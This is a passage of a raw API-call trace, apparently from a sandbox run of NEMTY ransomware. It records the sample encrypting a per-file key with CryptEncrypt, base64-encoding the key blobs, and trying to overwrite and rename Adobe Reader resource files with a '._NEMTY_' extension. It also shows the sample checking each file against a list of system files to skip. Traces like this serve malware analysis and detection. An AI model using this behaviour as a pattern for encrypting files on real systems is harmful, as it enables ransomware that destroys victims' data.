(in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="TzF1ZzKSCHIuTtCPrnGTZSSF7VFfkHIZOzIqRisxFM9B7klm9sD6/k1GPUazT0VZ\r\nkRFtOwTswXIFsoUBJXrLaNg6GsMacwndfsZVphEENrIpc251y0TPX42tVzVvdilU\r\nNmhc8wl+oq/fxql9xubNPhnFPBrkytnpg+EG38vVD/QNF1rJuYolGofPM1fmrQjc\r\nj99gjyEw/qzMeNP0atkWR3AdI+h4N8AFiDkfA/8sejXbZ3KpZucuIz2zqmxjsmjS\r\npCvAQ6Z3udH1o2OAIm76LkV8kn7jW7wQIiqcjVeQI5bYIWHS7a8hrGqLUHF/6JP/\r\nPJgKRKjNvfC5p9Mrcwraow==\r\n", pcchString=0x653e91c) returned 1 [0198.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0198.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0198.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0198.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0198.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0198.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.478] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0198.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0198.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.525] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.544] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0198.584] CloseHandle (hObject=0xffffffff) returned 0 [0198.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0198.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0198.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0198.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0198.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0198.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0198.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0198.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.584] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-1"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-1._nemty_kgobjgd_")) returned 0 [0198.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0198.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0198.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0198.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0198.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0198.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0198.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0198.584] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-2", cAlternateFileName="AD411B~1")) returned 1 [0198.584] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2=".") returned 1 [0198.584] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="..") returned 1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="...") returned 1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="windows") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="$RECYCLE.BIN") returned 1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="rsa") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="NTDETECT.COM") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="ntldr") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="MSDOS.SYS") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="IO.SYS") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="boot.ini") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="boot.ini") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="AUTOEXEC.BAT") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="ntuser.dat") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="desktop.ini") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="CONFIG.SYS") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="RECYCLER") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="BOOTSECT.BAK") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="bootmgr") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="programdata") returned -1 [0198.585] lstrcmpiW (lpString1="Adobe-GB1-2", lpString2="appdata") returned -1 [0198.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-2", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-2", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-2", lpUsedDefaultChar=0x0) returned 11 [0198.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0198.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-2", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-2", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-2", lpUsedDefaultChar=0x0) returned 11 [0198.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-2", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-2", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-2", lpUsedDefaultChar=0x0) returned 11 [0198.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-2", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-2", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-2", lpUsedDefaultChar=0x0) returned 11 [0198.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0198.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0198.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0198.586] Sleep (dwMilliseconds=0x5) [0198.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a05c5d0, dwHighDateTime=0x1d561e8)) [0198.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a05c5d0, dwHighDateTime=0x1d561e8)) [0198.602] GetLastError () returned 0x5 [0198.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0198.602] GetLastError () returned 0x5 [0198.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0198.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0198.602] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0198.602] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0198.602] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0198.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0198.602] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="CDSeYkn8A8CdAZUpGcBUS1TnYWvA3yCITj8iYuvTO0qL07jv5jYiE/rO/L0m0TaJ\r\nTq04H0Y1FO8mi+b5uUMTdK6jYBdj0NkAvpmk9OwjOM1mgQRu8XWriBamt1xql9KQ\r\nl+lxFOL71fAbiiToXzBhd7Zo30aRoA5a+U5Iszo/xm5VQCWDxvdf2fYDEcJZVshh\r\nWb1QcAQXhisR0fLDK567KQ+f6Qu7RMCAvsi3bePWOkpj/dRZz3Bf87Zqh+JTr0Ji\r\nT6z+JFt+0TUxQetgoBGOgvPip5nYUSL9I9sRjys/mhFi2etTu/ItgdEe3TLi2PD7\r\nvKhetnhWp7wE16cL2tYRjQ==\r\n", pcchString=0x653e91c) returned 1 [0198.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0198.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0198.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0198.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0198.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0198.602] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.602] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0198.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0198.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, 